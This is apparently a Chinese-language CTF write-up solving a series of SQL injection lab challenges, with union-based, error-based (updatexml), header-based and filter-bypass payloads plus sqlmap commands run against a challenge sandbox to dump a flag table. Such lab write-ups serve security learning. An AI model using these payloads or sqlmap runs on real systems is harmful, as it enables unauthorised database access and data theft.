文章目录
整数型注入
按照提示,我们输入1
然后输入
1 order by 2
发现order by 3无法正常回显,证明存在两列
然后我们使用联合查询语句
-1 union select 1,2
我们开始爆库
-1 union select 8,database()
但我们爆表的时候发现出现错误,我们可以把表名转化为16进制,这里需要有火狐的hacker插件
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x73716c69
然后我们执行
然后我们爆字段
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x666c6167
然后我们查询flag
-1 union select 1,flag from sqli.flag
即可通关
字符型注入
我们输入
/?id=1'
页面回显
我们将最后一个引号注释掉–+
发现可以正常回显
/?id=1'--+
然后我们跟第一关的步骤一样即可通关
查看列数
/?id=1' order by 1,2 --+
用联合查询语句
/?id=-1' union select 1,2 --+
查看库
/?id=-1' union select 1,database() --+
查看表
/?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x73716c69 --+
查看字段
/?id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x666c6167--+
爆字段
/?id=-1' union select 1,flag from sqli.flag --+
得到flag
报错注入
我们尝试输入
/?id=1
回显没有问题
/?id=1'
显示查询错误
我们可以使用语句updatexml,大家可以在网上查找相关资料和用法
我们查看库
/?id=1 and updatexml(1,concat(0x5e,database()),1)
然后我们查看表
/?id=1 and updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where table_schema=0x73716c69),0x5e),1)
查看字段
/?id=1 and updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167),0x5e),1)
然后查看字段flag的值
/?id=1 and updatexml(1,concat(0x5e,(select flag from sqli.flag),0x5e),1)
用语句
/?id=1 and updatexml(1,concat(0x5e,mid((select flag from sqli.flag),32),0x5e),1)
即可找到没有显示出来的值
得到完整的flag
布尔盲注
这道题我们使用sqlmap来进行爆破
首先输入
python sqlmap.py -u"http://challenge-fa8f88f443f54784.sandbox.ctfhub.com:10800/?id=1" -batch -dbs
这里python sqlmap.py -u"url" -batch是基本的注入框架,“-dbs”指向数据库。
运行结果
然后我们输入
python sqlmap.py -u"http://challenge-fa8f88f443f54784.sandbox.ctfhub.com:10800/?id=1" -batch -D"sqli" -tables
-D是数据库,“-tables”指向爆破表名。
运行结果
然后我们输入
sqlmap.py -u"http://challenge-fa8f88f443f54784.sandbox.ctfhub.com:10800/?id=1" -batch -D"sqli" -T"flag" -columns
-T是表名,-columns是爆破列名
运行结果
然后我们输入
sqlmap.py -u"http://challenge-fa8f88f443f54784.sandbox.ctfhub.com:10800/?id=1" -batch -D"sqli" -T"flag" -C"flag" -dump
-dump是爆数据,成功得到flag
时间盲注
我们使用sqlmap,跟上一关的方法相同。
Mysql结构
与上一关一样,用sqlmap跑,不一样的是表名,列名不太一样
爆库
库名
爆表
表名
爆列
列名
爆字段
得到flag
Cookie注入
这关我们用burp抓包尝试,发现注入点
爆库
爆表爆列
爆字段
发现flag
UA注入
这关提示ua注入,我们打开burp抓包尝试
在ua处输入
11 union select 1,database()
得到库名
然后爆表
爆列
爆字段
得到flag
Refer注入
同样用burp抓包,发到重发器,然后在头部添加referer信息
即可找到注入点
同样,爆库,爆表
爆列
爆字段
找到flag。
过滤空格
此处过滤的方法为/**/,将所有空格替换即可
输入
-1/**/union/**/select/**/1,database()
-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=0x73716c69
-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x7378627379796d627771
-1/**/union/**/select/**/1,zzymanwqkx/**/from/**/sxbsyymbwq
得到flag